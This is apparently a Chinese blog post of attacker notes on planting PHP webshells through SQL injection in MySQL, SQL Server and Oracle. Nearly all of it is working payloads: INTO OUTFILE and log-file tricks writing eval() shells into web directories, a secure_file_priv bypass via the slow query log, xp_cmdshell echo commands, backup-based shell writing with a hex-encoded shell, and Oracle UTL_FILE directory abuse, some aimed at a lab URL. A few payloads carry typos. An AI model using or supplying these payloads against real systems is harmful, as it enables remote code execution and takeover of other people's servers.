三大数据库写入webshell

mysql
条件:
root权限
网站的绝对路径且具有写入权限
secure_file_priv为空(第四条可以绕过)

-01-通过outfile写入shell
union select 1,"<?php eval($_REQUEST[8])?>" into outfile 'C:/phpStudy/WWW/4448.php'
之后直接将其写入既可

-02-将shell写入表中再通过查询该数据表将结果导出文件
先运行,生成表
http://afsgr16-b1ferw.aqlab.cn/?id=1 union select 1,insert into 'sxss'('comment') values ('<?php @eval($_POST[1]);?>');
查询该数据表,将结果导出文件
select comment from sxss into outfile 'C:/phpStudy/WWW/4449.php';


-03-开启全局日志写入shell
检查当前MySQL下log日志是否开启(on,off),以及log的默认地址在哪里:
show variables like '%general%';
开启mysql全局日志
set global general_log = on;
将日志文件设置成服务器下的木马文件
set global general_log_file = 'C:/phpStudy/WWW/4449.php'
然后执行sql语句,mysql会将我没执行的语句记录到日志文件(上一步修改后的文件)中
select '<?php @eval($_POST[1]);?>';


-04-慢查询日志写入shell
在实际写webshell的时候,我们经常会遭受到secure_file_priv的阻拦,secure_file_priv这个配置参数用来限制load data、outfile、load_file()的使用,其参数值有以下三种:
1、NULL:表示不允许导入导出
2、目录地址,如/tmp/:表示只能对指定目录进行导入导出,如/tmp/
3、空,即没有具体值:表示不对导入导出做限制
可使用如下命令来查看secure_file_priv的值:
show global variables like '%secure%';
解决办法
在Windows下可在my.ini的[mysqld]里面,添加secure_file_priv=
在linux下可在/etc/my.cnf的[mysqld]里面,添加secure_file_priv=
使用慢查询日志绕过此限制
查看慢查询日志开启情况
show variables like '%slow_query_log%';
开启慢查询日志
set global slow_query_log=1;
修改日志文件存储的绝对路径
set global slow_query_log_file='C:/phpStudy/WWW/4449.php';
向日志文件中写入shellselect
'<?php @eval($_POST[1]);?>' or sleep(11);

使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中
使用如下语句可查看系统时间:
show global variables like '%long_query_time%';
参考链接
https://blog.csdn.net/xhy18634297976/article/details/119486812
具体注入链接(比较全)
https://blog.csdn.net/F2444790591/article/details/125312268


sqlServer(mssql)
条件
① 有相应的权限db_owner
② 获得Web目录的绝对路径
-01-利用xp_cmdshell命令
获取绝对路径
通过报错信息查找;
通过目录爆破猜解;
通过旁站的目录确定;
通过存储过程来搜索;
通过读取配置文件查找。
如:利用存储过程:
execute master..xp_dirtree ‘c:’; 可以查出所有c:\下的文件、目录、子目录。
注入点处新建一张表,然后利用xp_dirtree将查询到的信息插入其中,再查询这张表即可得相应的绝对路径了。
利用xp_cmdshell执行系统CMD命令,例如我们可以使用CMD中的echo命令,将WebShell的代码写入到网站目录下
PAYLOAD:1’;execmaster..xp_cmdshell'echo^<?phpeval($_POST["pass"]);?^>>F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cmd.php';


-02-差异备份写入shell
首先对某一数据库进行备份。
PAYLOAD:id = 1’;backup database 库名 to disk = 'F:\\PhpStudy20180211\\PHPTutorial\\WWW\\back.bak';
创建一个写webshell的表
PAYLOAD:id = 1’; create table cybk([cmd] [image]);#创建一个新表
将webshell写入数据库
PAYLOAD:id=1’;insert into cybk[cmd] vaues(0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);#将WebShell的代码转换成ASCII码
最后将此数据库进行差异备份,这样其中就会包含刚刚写入的WebShell代码。
PAYLOAD:id=1’; backup database library todisk='F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cybk.php' WITHDIFFERENTIAL,FORMAT;

-03-log备份写入shell
将数据库设置为完整恢复模式,然后创建一个新表,将WebShell用Ascii编码后写入其中,然后将该数据库的日志信息导出到Web目录,即可。


ORACLE写入WebShell
条件:
① 有DBA权限
② 获得Web目录的绝对路径

使用文件访问包方法写入Webshell
创建一个ORACLE的目录对象指向某一路径(真实环境中需要指向Web目录下,在这里我们将其指向/home/oracle这一路径下)
create or replace directory IST0_DIR as '/home/oracle';
授权该目录能正常写入webshell
grant read, write on directory IST0_DIR tosystem;
然后写入文件,定义变量类型为utl_file.file_type,然后将WebShell的代码写入此文件中
直接访问该文件,即可查看到其中的WebShell代码,如果这个文件是放置在Web目录下的,那么就可以被攻击者成功利用。

利用ORACLE UTL_FILE包可以使文本文件转入进数据表,反之亦然:
utl_file.file_type
https://blog.csdn.net/meteorlWJ/article/details/4440260

 

 

参考链接

https://zhuanlan.zhihu.com/p/178866188

 

posted @ 2022-07-19 14:32  lzstar-A2  阅读(460)  评论(0编辑  收藏  举报